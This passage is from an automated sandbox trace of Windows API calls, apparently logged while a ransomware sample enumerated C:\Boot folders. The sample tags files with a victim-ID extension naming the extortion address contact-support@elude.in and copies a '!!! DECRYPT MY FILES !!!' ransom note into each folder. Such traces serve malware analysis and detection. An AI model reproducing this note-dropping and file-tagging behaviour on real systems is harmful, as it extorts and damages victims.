!!!.txt") returned 0x1c [0092.706] GetProcessHeap () returned 0x630000 [0092.706] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x70c828, Size=0xbc) returned 0x6ed568 [0092.706] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0092.706] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu", psz="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu", len=0x37 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 1 [0092.706] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu", cchLength=0x37 | out: lpsz="c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu") returned 0x37 [0092.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.707] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.707] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.707] GetProcessHeap () returned 0x630000 [0092.707] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed568, Size=0xc0) returned 0x6ed180 [0092.707] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0092.708] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu", psz="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu", len=0x37 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 1 [0092.708] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu", cchLength=0x37 | out: lpsz="c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu") returned 0x37 [0092.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.708] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.708] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.708] GetProcessHeap () returned 0x630000 [0092.708] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed180, Size=0xc4) returned 0x6e1118 [0092.708] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.708] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0092.708] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0092.709] SysReAllocStringLen (in: pbstr=0x6ebf668*=0x0, psz="C:\\Boot\\", len=0x8 | out: pbstr=0x6ebf668*="C:\\Boot\\") returned 1 [0092.709] CharLowerBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="c:\\boot\\") returned 0x8 [0092.709] SysReAllocStringLen (in: pbstr=0x6ebf610*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf610*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0092.709] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0092.709] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e00 [0092.710] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.495] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xd36fe848, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd36fe848, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0094.496] SysReAllocStringLen (in: pbstr=0x6ebf660*=0x0, psz="C:\\Boot\\BCD", len=0xb | out: pbstr=0x6ebf660*="C:\\Boot\\BCD") returned 1 [0094.496] CharLowerBuffW (in: lpsz="C:\\Boot\\BCD", cchLength=0xb | out: lpsz="c:\\boot\\bcd") returned 0xb [0094.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.496] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.496] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe604, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0094.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe600, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0094.496] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf36c | out: lpFindFileData=0x6ebf36c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc47952ba, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d51c0 [0094.496] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0094.497] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0094.500] GetProcessHeap () returned 0x630000 [0094.500] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e92d8, Size=0x24) returned 0x699798 [0094.500] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0094.500] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\boot\\bcd", psz="C:\\Boot\\BCD.LOG", len=0xf | out: pbstr=0x6ebf660*="C:\\Boot\\BCD.LOG") returned 1 [0094.500] CharLowerBuffW (in: lpsz="C:\\Boot\\BCD.LOG", cchLength=0xf | out: lpsz="c:\\boot\\bcd.log") returned 0xf [0094.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.500] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.500] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.500] GetProcessHeap () returned 0x630000 [0094.500] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699798, Size=0x28) returned 0x699738 [0094.501] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0094.501] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\boot\\bcd.log", psz="C:\\Boot\\BCD.LOG1", len=0x10 | out: pbstr=0x6ebf660*="C:\\Boot\\BCD.LOG1") returned 1 [0094.501] CharLowerBuffW (in: lpsz="C:\\Boot\\BCD.LOG1", cchLength=0x10 | out: lpsz="c:\\boot\\bcd.log1") returned 0x10 [0094.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.501] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.501] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.501] GetProcessHeap () returned 0x630000 [0094.501] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699738, Size=0x2c) returned 0x66c878 [0094.501] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0094.501] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\boot\\bcd.log1", psz="C:\\Boot\\BCD.LOG2", len=0x10 | out: pbstr=0x6ebf660*="C:\\Boot\\BCD.LOG2") returned 1 [0094.501] CharLowerBuffW (in: lpsz="C:\\Boot\\BCD.LOG2", cchLength=0x10 | out: lpsz="c:\\boot\\bcd.log2") returned 0x10 [0094.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.502] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.502] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.502] GetProcessHeap () returned 0x630000 [0094.502] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c878, Size=0x30) returned 0x66c728 [0094.502] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0094.502] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\bg-BG\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\bg-BG\\") returned 1 [0094.502] CharLowerBuffW (in: lpsz="C:\\Boot\\bg-BG\\", cchLength=0xe | out: lpsz="c:\\boot\\bg-bg\\") returned 0xe [0094.502] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0094.502] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0094.502] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x6a8, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0094.503] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.503] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0094.503] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\bg-BG\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 1 [0094.503] CharLowerBuffW (in: lpsz="C:\\Boot\\bg-BG\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\bg-bg\\bootmgr.exe.mui") returned 0x1d [0094.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.503] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.503] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.503] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.503] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0094.504] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0094.504] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\boot\\bcd.log2", psz="C:\\Boot\\bootspaces.dll", len=0x16 | out: pbstr=0x6ebf660*="C:\\Boot\\bootspaces.dll") returned 1 [0094.504] CharLowerBuffW (in: lpsz="C:\\Boot\\bootspaces.dll", cchLength=0x16 | out: lpsz="c:\\boot\\bootspaces.dll") returned 0x16 [0094.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.504] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.504] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.504] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0094.504] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\boot\\bootspaces.dll", psz="C:\\Boot\\BOOTSTAT.DAT", len=0x14 | out: pbstr=0x6ebf660*="C:\\Boot\\BOOTSTAT.DAT") returned 1 [0094.504] CharLowerBuffW (in: lpsz="C:\\Boot\\BOOTSTAT.DAT", cchLength=0x14 | out: lpsz="c:\\boot\\bootstat.dat") returned 0x14 [0094.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.504] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.504] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.505] GetProcessHeap () returned 0x630000 [0094.505] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c728, Size=0x34) returned 0x6d51c0 [0094.505] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0094.505] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\boot\\bootstat.dat", psz="C:\\Boot\\bootvhd.dll", len=0x13 | out: pbstr=0x6ebf660*="C:\\Boot\\bootvhd.dll") returned 1 [0094.505] CharLowerBuffW (in: lpsz="C:\\Boot\\bootvhd.dll", cchLength=0x13 | out: lpsz="c:\\boot\\bootvhd.dll") returned 0x13 [0094.505] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.505] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.505] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.505] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", 